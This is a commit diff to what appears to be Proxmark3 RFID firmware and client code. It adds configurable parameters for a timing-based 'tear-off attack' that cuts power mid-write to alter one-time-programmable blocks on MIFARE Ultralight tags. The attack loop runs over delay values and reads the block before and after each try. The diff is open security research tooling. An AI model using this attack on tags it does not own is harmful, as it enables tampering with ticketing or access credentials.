This commit is contained in:
Nahuel Grisolía 2020-04-18 21:34:48 +02:00
parent a04c8cb41c
commit da81424348
4 changed files with 137 additions and 43 deletions

View file

@ -1295,7 +1295,7 @@ static void PacketReceived(PacketCommandNG *packet) {
break;
}
case CMD_HF_MFU_OTP_TEAROFF: {
MifareU_Otp_Tearoff();
MifareU_Otp_Tearoff(packet->oldarg[0], packet->oldarg[1], packet->data.asBytes);
break;
}
case CMD_HF_MIFARE_STATIC_NONCE: {

View file

@ -2423,12 +2423,14 @@ void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain) {
//
// Tear-off attack against MFU.
// - Moebius et al
void MifareU_Otp_Tearoff() {
// should the
// optional time be configurable via client side?
void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t arg1, uint8_t *datain) {
uint8_t blockNo = arg0;
uint32_t tearOffTime = arg1;
uint8_t data_fullwrite[4] = {0x00};
uint8_t data_testwrite[4] = {0x00};
memcpy(data_fullwrite, datain, 4);
memcpy(data_testwrite, datain + 4, 4);
// optional authentication before?
// optional data to be written?
if (DBGLEVEL >= DBG_ERROR) DbpString("Preparing OTP tear-off");
@ -2439,46 +2441,26 @@ void MifareU_Otp_Tearoff() {
StartTicks();
#define OTP_TEAR_OFF_TIME 1000
#define OTP_BLK_NO 3
// write cmd to send, include CRC
// 1b write, 1b block, 4b data, 2 crc
uint8_t cmd[] = {MIFARE_ULC_WRITE, OTP_BLK_NO, 0xFF, 0xFF, 0xFF, 0xFF, 0, 0};
uint8_t cmd[] = {MIFARE_ULC_WRITE, blockNo, data_testwrite[0], data_testwrite[1], data_testwrite[2], data_testwrite[3], 0, 0};
// User specific data to write?
// memcpy(block + 2, blockData, 4);
MifareUWriteBlock(blockNo, 0, data_fullwrite);
AddCrc14A(cmd, sizeof(cmd) - 2);
if (DBGLEVEL >= DBG_ERROR) DbpString("Transmitting");
// anticollision / select card
if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card");
OnError(1);
return;
};
/*
// UL-EV1 / NTAG authentication
if (usePwd) {
uint8_t pwd[4] = {0x00};
memcpy(pwd, datain + 4, 4);
uint8_t pack[4] = {0, 0, 0, 0};
if (!mifare_ul_ev1_auth(pwd, pack)) {
OnError(1);
return;
}
}
*/
// send
ReaderTransmit(cmd, sizeof(cmd), NULL);
// Wait before cutting power. aka tear-off
LED_D_ON();
WaitUS(OTP_TEAR_OFF_TIME);
WaitUS(tearOffTime);
switch_off();
reply_ng(CMD_HF_MFU_OTP_TEAROFF, PM3_SUCCESS, NULL, 0);

View file

@ -59,6 +59,6 @@ void Mifare_DES_Auth1(uint8_t arg0, uint8_t *datain);
void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain);
// Tear-off test for MFU
void MifareU_Otp_Tearoff();
void MifareU_Otp_Tearoff(uint8_t arg0, uint32_t arg1, uint8_t *datain);
#endif

View file

@ -235,13 +235,21 @@ static int usage_hf_mfu_pwdgen(void) {
}
static int usage_hf_mfu_otp_tearoff(void) {
PrintAndLogEx(NORMAL, "Tear-off test against OTP block on MFU tags.");
PrintAndLogEx(NORMAL, "Usage: hf mfu otptear [h]");
PrintAndLogEx(NORMAL, "Tear-off test against OTP block (no 3) on MFU tags - More help sooner or later\n");
PrintAndLogEx(NORMAL, "Usage: hf mfu otptear b <block number> i <intervalTime> l <limitTime> s <startTime> \n");
PrintAndLogEx(NORMAL, "Options:");
PrintAndLogEx(NORMAL, " h : this help");
PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, _YELLOW_(" hf mfu otptear"));
PrintAndLogEx(NORMAL, " b <no> : (optional) block to run the test - default block: 8 (not OTP for safety)");
PrintAndLogEx(NORMAL, " i <time> : (optional) time interval to increase in each test - default 5 us");
PrintAndLogEx(NORMAL, " l <time> : (optional) limit time to run the test - default 2000 us");
PrintAndLogEx(NORMAL, " s <time> : (optional) start time to run the test - default 0 us");
PrintAndLogEx(NORMAL, " d <data> : (optional) data to full-write before trying the OTP test - default 0x00");
PrintAndLogEx(NORMAL, " t <data> : (optional) data to write while running the OTP test - default 0x00");
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " hf mfu otptear b 3");
PrintAndLogEx(NORMAL, " hf mfu otptear b 8 i 100 l 3000 s 1000");
PrintAndLogEx(NORMAL, " hf mfu otptear b 3 i 1 l 200");
PrintAndLogEx(NORMAL, " hf mfu otptear b 3 i 100 l 2500 s 200 d FFFFFFFF t EEEEEEEE");
return PM3_SUCCESS;
}
@ -2683,28 +2691,132 @@ static int CmdHF14AMfUPwdGen(const char *Cmd) {
// Moebius et al
//
static int CmdHF14AMfuOtpTearoff(const char *Cmd) {
uint8_t blockNoUint = 8;
uint8_t cmdp = 0;
bool errors = 0;
uint32_t len = strtol(Cmd, NULL, 0);
uint8_t data[PM3_CMD_DATA_SIZE] = {0};
uint8_t teardata[8] = {0x00};
uint8_t interval = 5; // time in us
uint32_t timeLimit = 2000; // time in us
uint32_t startTime = 0; // time in us
while (param_getchar(Cmd, cmdp) != 0x00 && !errors) {
switch (tolower(param_getchar(Cmd, cmdp))) {
case 'h':
return usage_hf_mfu_otp_tearoff();
case 'b':
blockNoUint = param_get8(Cmd, cmdp + 1);
if (blockNoUint < 0) {
PrintAndLogEx(WARNING, "Wrong block number");
errors = true;
}
cmdp += 2;
break;
case 'i':
interval = param_get8(Cmd, cmdp + 1);
if (interval <= 0) {
PrintAndLogEx(WARNING, "Wrong interval number");
errors = true;
}
cmdp += 2;
break;
case 'l':
timeLimit = param_get32ex(Cmd, cmdp + 1, 2000, 10);
if (timeLimit < interval) {
PrintAndLogEx(WARNING, "Wrong time limit number");
errors = true;
}
cmdp += 2;
break;
case 's':
startTime = param_get32ex(Cmd, cmdp + 1, 0, 10);
if (startTime > (timeLimit - interval)) {
PrintAndLogEx(WARNING, "Wrong start time number");
errors = true;
}
cmdp += 2;
break;
case 'd':
if (param_gethex(Cmd, cmdp + 1, teardata, 8)) {
PrintAndLogEx(WARNING, "Block data must include 8 HEX symbols");
errors = true;
}
cmdp += 2;
break;
case 't':
if (param_gethex(Cmd, cmdp + 1, teardata + 4, 8)) {
PrintAndLogEx(WARNING, "Block data must include 8 HEX symbols");
errors = true;
}
cmdp += 2;
break;
default:
PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp));
errors = true;
break;
}
}
if (errors) return usage_hf_mfu_otp_tearoff();
clearCommandBuffer();
SendCommandNG(CMD_HF_MFU_OTP_TEAROFF, data, len);
PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_HF_MFU_OTP_TEAROFF, &resp, 4000)) {
PrintAndLogEx(WARNING, "Failed");
return PM3_ESOFT;
uint32_t actualTime = startTime;
printf("\nStarting TearOff test - Selected Block no: %d ...\n", blockNoUint);
while (actualTime <= (timeLimit - interval)) {
printf("\nTrying attack at: %d us\n", actualTime);
printf("\n.....\n");
printf("\nReading block before attack: \n");
clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREU_READBL, blockNoUint, 0, 0, NULL, 0);
PacketResponseNG resp;
if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
uint8_t isOK = resp.oldarg[0] & 0xff;
if (isOK) {
uint8_t *d = resp.data.asBytes;
PrintAndLogEx(NORMAL, "\nBlock# | Data | Ascii");
PrintAndLogEx(NORMAL, "-----------------------------");
PrintAndLogEx(NORMAL, "%02d/0x%02X | %s| %s\n", blockNoUint, blockNoUint, sprint_hex(d, 4), sprint_ascii(d, 4));
}
}
printf("\n.....\n");
clearCommandBuffer();
SendCommandOLD(CMD_HF_MFU_OTP_TEAROFF, blockNoUint, actualTime, 0, teardata, 8);
if (!WaitForResponseTimeout(CMD_HF_MFU_OTP_TEAROFF, &resp, 4000)) {
PrintAndLogEx(WARNING, "Failed");
return PM3_ESOFT;
}
printf("\nReading block after attack: \n");
clearCommandBuffer();
SendCommandOLD(CMD_HF_MIFAREU_READBL, blockNoUint, 0, 0, NULL, 0);
if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
uint8_t isOK = resp.oldarg[0] & 0xff;
if (isOK) {
uint8_t *d = resp.data.asBytes;
PrintAndLogEx(NORMAL, "\nBlock# | Data | Ascii");
PrintAndLogEx(NORMAL, "-----------------------------");
PrintAndLogEx(NORMAL, "%02d/0x%02X | %s| %s\n", blockNoUint, blockNoUint, sprint_hex(d, 4), sprint_ascii(d, 4));
}
}
/* TEMPORALLY DISABLED
uint8_t d0, d1, d2, d3;
d0 = *resp.data.asBytes;
d1 = *(resp.data.asBytes + 1);
d2 = *(resp.data.asBytes + 2);
d3 = *(resp.data.asBytes + 3);
if ((d0 != 0xFF) || (d1 != 0xFF) || (d2 != 0xFF) || (d3 = ! 0xFF)) {
PrintAndLogEx(NORMAL, "---------------------------------");
PrintAndLogEx(NORMAL, " EFFECT AT: %d us", actualTime);
PrintAndLogEx(NORMAL, "---------------------------------\n");
}
*/
actualTime += interval;
}
return PM3_SUCCESS;
}